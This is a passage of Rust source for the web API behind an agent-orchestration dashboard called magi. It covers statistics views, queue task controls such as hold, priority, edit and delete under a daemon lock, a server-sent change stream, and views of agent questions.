7274impl From<&stats::RepoStats> for RepoSummaryView {
7275    fn from(r: &stats::RepoStats) -> Self {
7276        let t = &r.stats.totals;
7277        Self {
7278            repo: r.repo.to_string_lossy().into_owned(),
7279            name: r.name.clone(),
7280            runs: t.runs,
7281            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7282        }
7283    }
7284}
7285
7286/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7287/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7288/// renders from them) are free to grow without that becoming a wire-contract
7289/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7290/// data" from "computed and it really is zero" the way [`RateView`] does.
7291#[derive(Debug, Serialize)]
7292struct StatsView {
7293    totals: StatsTotalsView,
7294    /// Best win rate first, as [`stats::collect`] already sorts it.
7295    agents: Vec<AgentStatsView>,
7296    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7297    reviewers: Vec<ReviewerStatsView>,
7298    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7299    advisors: Vec<AdvisorStatsView>,
7300    e2e: E2eStatsView,
7301    release_bumps: ReleaseBumpStatsView,
7302    queue: Option<TaskCountsView>,
7303    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7304    /// that field's doc. Asserted to match it in
7305    /// `stats_runs_unreadable_matches_health`.
7306    ///
7307    /// Always the whole-workload count, even when `repo` narrows every other
7308    /// field to one repository - an unreadable `run.json` carries no `repo`
7309    /// a per-repository count could attribute it to, and the queue/health
7310    /// views this mirrors never scope it either. The UI must not present it
7311    /// as if it were scoped to the selected repository.
7312    runs_unreadable: usize,
7313    /// Every repository with runs recorded, most runs first - what the UI's
7314    /// repository selector is built from. Always the full list regardless of
7315    /// `repo`, so switching repositories never needs a second request.
7316    repos: Vec<RepoSummaryView>,
7317    /// Runs per local day over the last 30 days, oldest first, always 30
7318    /// entries. Days are the *server's* local dates (the UI must not convert
7319    /// them again), cut by run creation and classified by current status.
7320    /// Narrowed by `repo` like every other run-derived field.
7321    daily: Vec<DailyStatsView>,
7322    /// The `?repo=` value this response was narrowed to, echoed back so the
7323    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7324    /// all-repositories view.
7325    repo: Option<String>,
7326    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7327    /// current config roster no longer lists them. Empty with `?all=true`, an
7328    /// unreadable config, or when nothing was retired.
7329    retired_hidden: Vec<String>,
7330}
7331
7332/// One day of [`StatsView::daily`].
7333#[derive(Debug, Serialize)]
7334struct DailyStatsView {
7335    /// `YYYY-MM-DD`, server-local.
7336    date: String,
7337    runs: usize,
7338    merged: usize,
7339    ready: usize,
7340    other: usize,
7341    /// `None` on a day with no runs, so it never reads as 0%.
7342    completion_rate: Option<RateView>,
7343}
7344
7345impl From<&stats::DayBucket> for DailyStatsView {
7346    fn from(b: &stats::DayBucket) -> Self {
7347        Self {
7348            date: b.date.to_string(),
7349            runs: b.runs,
7350            merged: b.merged,
7351            ready: b.ready,
7352            other: b.other,
7353            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7354        }
7355    }
7356}
7357
7358/// How many days [`StatsView::daily`] covers.
7359const STATS_DAILY_DAYS: usize = 30;
7360
7361/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7362/// repository. Matched by full-path equality against `RunState.repo` only
7363/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7364/// `--repo` is, because the value here always came from this same route's
7365/// own `repos` list in an earlier response, never typed by a human. A value
7366/// matching no run is a 404, not an empty aggregate: the caller asked for a
7367/// specific, named repository, and silently returning zeroes would look
7368/// exactly like a repository that has runs but none of interest.
7369#[derive(Debug, Default, Deserialize)]
7370#[serde(default)]
7371struct StatsQuery {
7372    repo: Option<String>,
7373    /// `?all=true` keeps agents that are no longer in the roster.
7374    all: bool,
7375    /// The dashboard fetches queue counts independently of run history.
7376    runs_only: bool,
7377}
7378
7379/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7380/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7381/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7382/// prints from. Reads every readable run on disk, exactly as
7383/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7384/// a separately-maintained tally could.
7385async fn stats_get(
7386    State(ui): State<Arc<Ui>>,
7387    Query(q): Query<StatsQuery>,
7388) -> ApiResult<Json<StatsView>> {
7389    blocking(move || {
7390        let states: Vec<RunState> = run_ids(&ui.runs)
7391            .into_iter()
7392            .filter_map(|id| read_run(&ui.runs, &id).ok())
7393            .collect();
7394        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7395            .iter()
7396            .map(RepoSummaryView::from)
7397            .collect();
7398        let mut scoped: Vec<&RunState> = states.iter().collect();
7399        let mut collected = match &q.repo {
7400            Some(repo) => {
7401                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7402                if filtered.is_empty() {
7403                    return Err(ApiError::not_found(format!(
7404                        "no runs recorded against repo `{repo}`"
7405                    )));
7406                }
7407                scoped = filtered.clone();
7408                stats::collect_refs(filtered)
7409            }
7410            None => stats::collect(&states),
7411        };
7412        if !q.all {
7413            let repo = q
7414                .repo
7415                .as_deref()
7416                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7417            stats::retain_current_roster(&mut collected, &repo);
7418        }
7419        let daily = stats::daily(
7420            scoped,
7421            jiff::Zoned::now().date(),
7422            &jiff::tz::TimeZone::system(),
7423            STATS_DAILY_DAYS,
7424        );
7425        let queue_counts = (!q.runs_only)
7426            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7427        Ok(Json(StatsView {
7428            totals: StatsTotalsView::from(&collected.totals),
7429            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7430            reviewers: collected
7431                .reviewers
7432                .iter()
7433                .map(ReviewerStatsView::from)
7434                .collect(),
7435            advisors: collected
7436                .advisors
7437                .iter()
7438                .map(AdvisorStatsView::from)
7439                .collect(),
7440            e2e: E2eStatsView::from(&collected.e2e),
7441            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7442            queue: queue_counts,
7443            runs_unreadable: runs_unreadable(&ui.runs),
7444            repos,
7445            daily: daily.iter().map(DailyStatsView::from).collect(),
7446            repo: q.repo.clone(),
7447            retired_hidden: collected.retired_hidden.clone(),
7448        }))
7449    })
7450    .await
7451}
7452
7453/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7454/// gives no reason - which must keep working, since not every hold has one.
7455#[derive(Debug, Default, Deserialize)]
7456#[serde(default, deny_unknown_fields)]
7457struct HoldBody {
7458    reason: Option<String>,
7459}
7460
7461async fn queue_hold(
7462    State(ui): State<Arc<Ui>>,
7463    Path(id): Path<String>,
7464    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7465) -> ApiResult<Json<TaskView>> {
7466    // An absent body is the ordinary case - most holds are unexplained, and
7467    // that has to stay a one-tap action rather than a form. A body that is
7468    // present and malformed is still a bad request.
7469    let body = match body {
7470        Ok(Json(body)) => body,
7471        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7472        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7473    };
7474    let reason = body.reason.filter(|r| !r.trim().is_empty());
7475    mutate(ui, id, move |t| {
7476        t.hold_manual(reason.clone());
7477        Ok(())
7478    })
7479    .await
7480}
7481
7482#[derive(Deserialize)]
7483#[serde(deny_unknown_fields)]
7484struct ReassignBody {
7485    repo: PathBuf,
7486}
7487
7488async fn queue_reassign(
7489    State(ui): State<Arc<Ui>>,
7490    Path(id): Path<String>,
7491    Json(body): Json<ReassignBody>,
7492) -> ApiResult<Json<TaskView>> {
7493    let home = ui.home.clone();
7494    let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7495        .await
7496        .map_err(ApiError::bad_request_from)?;
7497    let notes = crate::task_reassign::advisory_notes(&task, &home);
7498    let mut view = TaskView::from(task);
7499    view.reassignment_notes = notes;
7500    Ok(Json(view))
7501}
7502
7503async fn queue_release(
7504    State(ui): State<Arc<Ui>>,
7505    Path(id): Path<String>,
7506) -> ApiResult<Json<TaskView>> {
7507    mutate(ui, id, |t| {
7508        t.release_operator("web", None);
7509        Ok(())
7510    })
7511    .await
7512}
7513
7514#[derive(Debug, Deserialize)]
7515#[serde(deny_unknown_fields)]
7516struct AttemptLimitBody {
7517    // Required even when clearing: missing fields must not silently erase an override.
7518    attempt_limit: serde_json::Value,
7519}
7520
7521async fn queue_attempt_limit(
7522    State(ui): State<Arc<Ui>>,
7523    Path(id): Path<String>,
7524    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7525) -> ApiResult<Json<TaskView>> {
7526    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7527    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7528        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7529    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7530}
7531
7532#[derive(Debug, Deserialize)]
7533#[serde(deny_unknown_fields)]
7534struct ImplementersBody {
7535    implementers: u8,
7536}
7537
7538async fn queue_implementers(
7539    State(ui): State<Arc<Ui>>,
7540    Path(id): Path<String>,
7541    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7542) -> ApiResult<Json<TaskView>> {
7543    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7544    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7545}
7546
7547#[derive(Debug, Deserialize)]
7548#[serde(deny_unknown_fields)]
7549struct UrgentBody {
7550    urgent: bool,
7551}
7552
7553async fn queue_urgent(
7554    State(ui): State<Arc<Ui>>,
7555    Path(id): Path<String>,
7556    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7557) -> ApiResult<Json<TaskView>> {
7558    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7559    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7560}
7561
7562/// The body of `POST /api/queue/{id}/priority`.
7563#[derive(Debug, Deserialize)]
7564#[serde(deny_unknown_fields)]
7565struct PriorityBody {
7566    priority: i32,
7567}
7568
7569/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7570///
7571/// [`Task::set_priority`] is the one place the "not while running" rule is
7572/// stated; this route only carries the body to it and lets its `Err` become
7573/// the 4xx the card shows.
7574async fn queue_priority(
7575    State(ui): State<Arc<Ui>>,
7576    Path(id): Path<String>,
7577    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7578) -> ApiResult<Json<TaskView>> {
7579    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7580    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7581}
7582
7583/// The body of `POST /api/queue/{id}/edit`.
7584#[derive(Debug, Deserialize)]
7585#[serde(deny_unknown_fields)]
7586struct EditBody {
7587    title: String,
7588    instruction: String,
7589    /// Save even though the new text names a branch, commit or pull request
7590    /// that unfinished work already owns.
7591    #[serde(default)]
7592    force: bool,
7593}
7594
7595/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7596/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7597/// that refusal's message is what the sheet shows back.
7598async fn queue_edit(
7599    State(ui): State<Arc<Ui>>,
7600    Path(id): Path<String>,
7601    body: std::result::Result<Json<EditBody>, JsonRejection>,
7602) -> ApiResult<Json<TaskView>> {
7603    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7604    // The judge is an agent call, so it is awaited here, outside the claim
7605    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7606    // remembered, and the save refuses if the task moved underneath it.
7607    let mut judged: Option<(String, PathBuf)> = None;
7608    if !body.force {
7609        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7610        let (id, text) = (id.clone(), body.instruction.clone());
7611        let (seen, hits) = blocking(move || {
7612            let id = resolve_task(&queue, &id)?;
7613            let t = queue.get(&id)?;
7614            if text == t.instruction {
7615                return Ok((None, Vec::new()));
7616            }
7617            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7618            Ok((Some((t.instruction, t.repo)), hits))
7619        })
7620        .await?;
7621        if let Some((_, repo)) = &seen {
7622            let cfg = crate::config::Config::discover(repo, None)
7623                .ok()
7624                .map(|(c, _)| c);
7625            let screened =
7626                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7627                    .await
7628                    .map_err(|dup| {
7629                        ApiError::conflict(dup.render(
7630                            "Nothing was saved. If it is not a duplicate, repeat the request \
7631                             with \"force\": true.",
7632                        ))
7633                    })?;
7634            if let crate::dupes::Screened::Unjudged(why) = screened {
7635                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7636            }
7637        }
7638        judged = seen;
7639    }
7640    let force = body.force;
7641    mutate(ui, id, move |t| {
7642        if !force && body.instruction != t.instruction {
7643            match &judged {
7644                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7645                _ => {
7646                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7647                }
7648            }
7649        }
7650        t.edit(body.title.clone(), body.instruction.clone())
7651    })
7652    .await
7653}
7654
7655/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7656/// it, so the phone's other way to clear a task from the backlog does not
7657/// have to cost the run history, the attribution, and `created_at` the way
7658/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7659/// can be marked done by hand, because this is for the run the loop never
7660/// saw land - a merge done by hand, or a gate that misreported - and that can
7661/// happen from any status the task was left in.
7662async fn queue_done(
7663    State(ui): State<Arc<Ui>>,
7664    Path(id): Path<String>,
7665) -> ApiResult<Json<TaskView>> {
7666    let home = ui.home.clone();
7667    mutate(ui, id, move |t| {
7668        t.succeed();
7669        // Same as the loop's own settle path: closing a task by hand is just
7670        // as much "this task's story is over" as a daemon-driven `Merged`/
7671        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7672        // behind must stop looking like it still needs a human. `ui.home`,
7673        // not the process-global `run::home()`: they agree in a real
7674        // process, but only `ui.home` also agrees with a test fixture's own
7675        // directory.
7676        crate::daemon::supersede_prior_runs(t, &home);
7677        Ok(())
7678    })
7679    .await
7680}
7681
7682/// `DELETE /api/queue/{id}`.
7683///
7684/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7685/// names this task: a `running` status or an orphaned `.lock` left behind by a
7686/// killed daemon is a leftover, and treating either as authority made the
7687/// task undeletable from the phone for good. The associated runs, if any, are
7688/// kept: a run is self-contained history and not an appendage of the task.
7689async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7690    blocking(move || {
7691        let id = resolve_task(&ui.queue, &id)?;
7692        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7693        ui.queue
7694            .remove(&id, in_flight, &ui.questions)
7695            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7696        Ok(StatusCode::NO_CONTENT)
7697    })
7698    .await
7699}
7700
7701/// Read a task, change it, write it back, under the queue's own lock.
7702///
7703/// Taking the same claim a daemon takes is what makes hold, release,
7704/// priority, edit, and done safe to press while magi is running: without it
7705/// the daemon's next save would land on top of the operator's change and
7706/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7707/// both do, for a running task - and that refusal becomes the 4xx the card
7708/// shows, same as any other domain rule.
7709async fn mutate(
7710    ui: Arc<Ui>,
7711    id: String,
7712    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7713) -> ApiResult<Json<TaskView>> {
7714    blocking(move || {
7715        let id = resolve_task(&ui.queue, &id)?;
7716        // `claim` fails when the lock file already exists, which is the
7717        // conflict the UI must report: the daemon owns that task's file for
7718        // as long as it is running it, and our write would be lost under its
7719        // next save. The message names the lock either way.
7720        let _claim = ui.queue.claim(&id).map_err(|e| {
7721            ApiError::conflict(format!(
7722                "{e:#} - a daemon is running this task, so it cannot be \
7723                 changed from here yet; wait until it is released, then retry"
7724            ))
7725        })?;
7726        let mut task = ui.queue.get(&id)?;
7727        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7728            Ok(dup) => ApiError::conflict(dup.render(
7729                "Nothing was saved. If it is not a duplicate, repeat the request with \
7730                 \"force\": true.",
7731            )),
7732            Err(e) => ApiError::bad_request_from(e),
7733        })?;
7734        ui.queue.put(&mut task)?;
7735        Ok(Json(TaskView::from(task)))
7736    })
7737    .await
7738}
7739
7740/// The change stream: one revision number per store, on connect and whenever
7741/// any of them moves.
7742///
7743/// One shared worker scans stores; clients only forward its notifications.
7744async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7745    ui.monitor.ensure_worker(&ui);
7746    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7747    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7748
7749    let state = Arc::clone(&ui);
7750    tokio::spawn(async move {
7751        let initial_revisions = {
7752            let guard = match state.monitor.latest.lock() {
7753                Ok(g) => g,
7754                Err(p) => p.into_inner(),
7755            };
7756            guard.as_ref().map(|(r, _)| *r)
7757        };
7758        if let Some(revisions) = initial_revisions {
7759            let initial_payload = serde_json::json!({
7760                "queue_rev": revisions.0,
7761                "runs_rev": revisions.1,
7762                "questions_rev": revisions.2,
7763                "talks_rev": revisions.3,
7764                "notifications_rev": revisions.4,
7765                "loop_rev": revisions.5,
7766            });
7767
7768            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7769                if tx.send(event).await.is_err() {
7770                    return;
7771                }
7772            }
7773        }
7774
7775        loop {
7776            match tokio::select! {
7777                _ = tx.closed() => return,
7778                value = broadcast_rx.recv() => value,
7779            } {
7780                Ok(notif) => {
7781                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7782                    else {
7783                        break;
7784                    };
7785                    if tx.send(event).await.is_err() {
7786                        break;
7787                    }
7788                }
7789                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7790                    let revs = {
7791                        let guard = match state.monitor.latest.lock() {
7792                            Ok(g) => g,
7793                            Err(p) => p.into_inner(),
7794                        };
7795                        guard.as_ref().map(|(r, _)| *r)
7796                    };
7797                    if let Some(revs) = revs {
7798                        let payload = serde_json::json!({
7799                            "queue_rev": revs.0,
7800                            "runs_rev": revs.1,
7801                            "questions_rev": revs.2,
7802                            "talks_rev": revs.3,
7803                            "notifications_rev": revs.4,
7804                            "loop_rev": revs.5,
7805                        });
7806                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7807                            if tx.send(event).await.is_err() {
7808                                break;
7809                            }
7810                        }
7811                    }
7812                }
7813                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7814                    break;
7815                }
7816            }
7817        }
7818    });
7819
7820    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7821        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7822}
7823
7824/// Run ids under `runs`, newest first.
7825///
7826/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7827/// which reads the process-global home: the server has to be drivable against
7828/// a temp directory for any of this to be testable.
7829fn run_ids(runs: &FsPath) -> Vec<String> {
7830    let mut ids: Vec<String> = std::fs::read_dir(runs)
7831        .into_iter()
7832        .flatten()
7833        .flatten()
7834        .filter(|e| e.path().join("run.json").is_file())
7835        .map(|e| e.file_name().to_string_lossy().into_owned())
7836        .collect();
7837    // Ids start with a sortable timestamp.
7838    ids.sort_unstable_by(|a, b| b.cmp(a));
7839    ids
7840}
7841
7842/// Read one run's state from an explicit runs root.
7843fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7844    let path = runs.join(id).join("run.json");
7845    let body =
7846        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7847    let state: RunState =
7848        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7849    // The same migration `RunState::load` applies, so a record from the
7850    // previous schema reads here as it does everywhere else (an origin-less
7851    // run shows as "origin unknown") instead of vanishing from the phone the
7852    // moment the schema is bumped.
7853    run::migrate_schema(state)
7854}
7855
7856/// Runs on disk under `runs` whose state this build cannot parse - almost
7857/// always a schema bump, occasionally a run killed mid-write.
7858///
7859/// Exposed so every surface that reports on runs shares one count instead of
7860/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7861/// `magi doctor` calls this directly rather than guessing at the same number
7862/// a second way.
7863#[must_use]
7864pub fn runs_unreadable(runs: &FsPath) -> usize {
7865    run_ids(runs)
7866        .into_iter()
7867        .filter(|id| read_run(runs, id).is_err())
7868        .count()
7869}
7870
7871fn plain_record_id(id: &str) -> bool {
7872    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7873}
7874
7875/// Expand an id or short id to exactly one run id.
7876fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7877    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7878        return Ok(id.to_owned());
7879    }
7880    pick(run_ids(runs), id, "run")
7881}
7882
7883/// Expand an id or short id to exactly one task id.
7884fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7885    if plain_record_id(id) && queue.path_of(id).is_file() {
7886        return Ok(id.to_owned());
7887    }
7888    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7889    pick(ids, id, "task")
7890}
7891
7892/// A question as the phone reads it.
7893///
7894/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7895/// text already parsed into a node tree so the client never runs its own
7896/// markdown reader over agent-authored prose. A relative image path in it
7897/// resolves against this question's own panel asset route, which is the one
7898/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7899/// separate, sandboxed document, but `detail` is rendered inline in the
7900/// operator's own page, so an image reference in it may only ever point at
7901/// files magi itself already serves for this question.
7902#[derive(Debug, Serialize)]
7903struct QuestionView {
7904    choice_effects: std::collections::BTreeMap<String, String>,
7905    record_revision: String,
7906    #[serde(flatten)]
7907    question: Question,
7908    detail_md: Vec<md::Node>,
7909    posting_view: Option<PostingView>,
7910    /// Each thread turn's body, parsed; same order as `question.thread`.
7911    thread_bodies_md: Vec<Vec<md::Node>>,
7912    /// Each thread turn's deputy note, parsed (`None` for a turn without
7913    /// one); same order as `question.thread`.
7914    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7915    /// Is the ball in the agent's court right now?
7916    ///
7917    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7918    /// [`Question::say`] - so this is the one field that tells the phone to
7919    /// disable the answer controls and show "waiting for the agent" instead of
7920    /// a card the owner can act on. Computed rather than stored on
7921    /// [`Question`] itself, on the same reasoning as `waiting` on
7922    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7923    /// it here means the client never has to re-derive that rule.
7924    waiting_on_agent: bool,
7925    /// Who is waiting on this open question - see [`holder_of`]. Separate
7926    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7927    /// anyone is there to take it.
7928    holder: Option<&'static str>,
7929    /// Whether `magi serve` can start a follow-up agent for a conductor
7930    /// question at all: false when `daemon.max_deputies = 0` or the config is
7931    /// unreadable. Separate from `holder`, which says who is listening now.
7932    deputies_enabled: bool,
7933    /// All starts were spent and no live holder remains. Display-only: the
7934    /// final attempt increments `starts` before running under its lease.
7935    deputy_exhausted: bool,
7936    text_delivery: crate::question_delivery::Availability,
7937    /// `question.run` is a task id (conductor / triage questions), not a run
7938    /// id, so the UI links it to the task page.
7939    run_is_task: bool,
7940    /// The existing chat this question's task came from, including settled
7941    /// questions - see [`crate::consult::associated_talk`].
7942    origin_chat: Option<String>,
7943    /// `origin_chat` is closed; consulting reopens it first.
7944    origin_chat_closed: bool,
7945    /// Consultation eligibility is separate from navigation to the chat.
7946    can_consult_chat: bool,
7947}
7948
7949#[derive(Debug, Serialize)]
7950struct PostingView {
7951    before_md: Vec<md::Node>,
7952    after_md: Vec<md::Node>,
7953    fields: Vec<crate::github_text::ComparisonView>,
7954}
7955
7956fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7957    let comparison = question.posting_comparison.as_ref()?;
7958    if !comparison.matches_detail(&question.detail) {
7959        return None;
7960    }
7961    let mut ids = std::collections::BTreeSet::new();
7962    if comparison.fields.is_empty()
7963        || comparison
7964            .fields
7965            .iter()
7966            .flat_map(|f| &f.pairs)
7967            .any(|p| !ids.insert(p.id))
7968        || comparison
7969            .fields
7970            .iter()
7971            .flat_map(|f| &f.original_triggers)
7972            .any(|t| !ids.insert(t.id))
7973    {
7974        return None;
7975    }
7976    let fields = comparison
7977        .fields
7978        .iter()
7979        .map(|f| f.view(comparison.excerpt))
7980        .collect::<Option<Vec<_>>>()?;
7981    Some(PostingView {
7982        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7983        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7984        fields,
7985    })
7986}
7987
7988impl QuestionView {
7989    /// The view of `question`, reading who is waiting on it from `store`.
7990    ///
7991    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7992    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7993        let base = md::ImageBase::QuestionPanel {
7994            id: question.id.clone(),
7995        };
7996        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7997        Self {
7998            choice_effects: question
7999                .choices
8000                .iter()
8001                .filter_map(|c| {
8002                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8003                })
8004                .collect(),
8005            record_revision: question_record_revision(&question),
8006            detail_md: md::to_nodes(&question.detail, &base),
8007            posting_view: posting_view(&question, &base),
8008            thread_bodies_md: question
8009                .thread
8010                .iter()
8011                .map(|t| md::to_nodes(&t.body, &base))
8012                .collect(),
8013            thread_notes_md: question
8014                .thread
8015                .iter()
8016                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8017                .collect(),
8018            deputy_exhausted: store.deputy_exhausted(&question),
8019            waiting_on_agent: question.waiting_on_agent(),
8020            holder,
8021            deputies_enabled: deputies_enabled(cfg, &question),
8022            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8023            run_is_task: question.run_names_task(),
8024            origin_chat: None,
8025            origin_chat_closed: false,
8026            can_consult_chat: false,
8027            question,
8028        }
8029    }
8030
8031    /// Fill `origin_chat` from the queue and the talks.
8032    fn with_origin(
8033        mut self,
8034        tasks: &[crate::queue::Task],
8035        talks: &[Talk],
8036        watches: &[crate::release_watch::WatchState],
8037    ) -> Self {
8038        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8039        self.can_consult_chat = consult.is_some();
8040        let talk =
8041            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8042        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8043        self.origin_chat = talk.map(|t| t.id);
8044        self
8045    }
8046}
8047
8048/// The config this repository resolves, or `None` when it cannot be read.
8049/// Discovering is git processes plus a config render, so a request that needs
8050/// it for many items takes it once and passes it down.
8051fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8052    Config::discover(repo, None).ok().map(|(c, _)| c)
8053}
8054
8055/// Can `magi serve` start a deputy for this question under `cfg`?
8056fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8057    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8058}
8059
8060/// The views `GET /api/questions` answers. `load` runs at most once, however
8061/// many questions there are, and not at all when there are none.
8062fn question_views(
8063    qs: Vec<Question>,
8064    store: &ask::Questions,
8065    load: impl FnOnce() -> Option<Config>,
8066) -> Vec<QuestionView> {
8067    if qs.is_empty() {
8068        return Vec::new();
8069    }
8070    let cfg = load();
8071    qs.into_iter()
8072        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8073        .collect()
8074}
8075
8076/// Who is honestly waiting on an open question right now: `"asker"` (the
8077/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8078/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8079/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8080/// up, or the question never had anyone listening (a conductor question or a
8081/// merge approval from before deputies, or not yet given one).
8082///
8083/// `None` for a question that is settled, and for one that is not an agent's
8084/// to wait on at all (a release notice).
8085fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8086    if !q.status.open() {
8087        return None;
8088    }
8089    if q.cwd.is_none()
8090        && q.deputy.is_none()
8091        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8092    {
8093        return crate::deputy::kind_of(q).map(|_| "nobody");
8094    }
8095    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8096        Some(_) if q.deputy.is_some() => "deputy",
8097        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8098        Some(_) => "asker",
8099        None => "nobody",
8100    })
8101}
8102
8103/// `GET /api/questions`.
8104///
8105/// Everything, not just the open ones: an answered question is the record of a
8106/// decision, and the phone is where the operator goes back to check what they
8107/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8108#[derive(serde::Serialize)]
8109struct DecisionView {
8110    id: String,
8111    task: String,
8112    run: Option<String>,
8113    chat: Option<String>,
8114    display: String,
8115    delivery_error: Option<String>,
8116    decision: crate::task_decision::Decision,
8117}
8118
8119impl DecisionView {
8120    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8121        Some(Self {
8122            id: inquiry.id,
8123            task: inquiry.task,
8124            run: inquiry.run,
8125            chat: inquiry.delivered_to,
8126            display: inquiry.display,
8127            delivery_error: inquiry.delivery_error,
8128            decision: inquiry.decision?,
8129        })
8130    }
8131}
8132
8133#[derive(serde::Serialize)]
8134struct DecisionsView {
8135    items: Vec<DecisionView>,
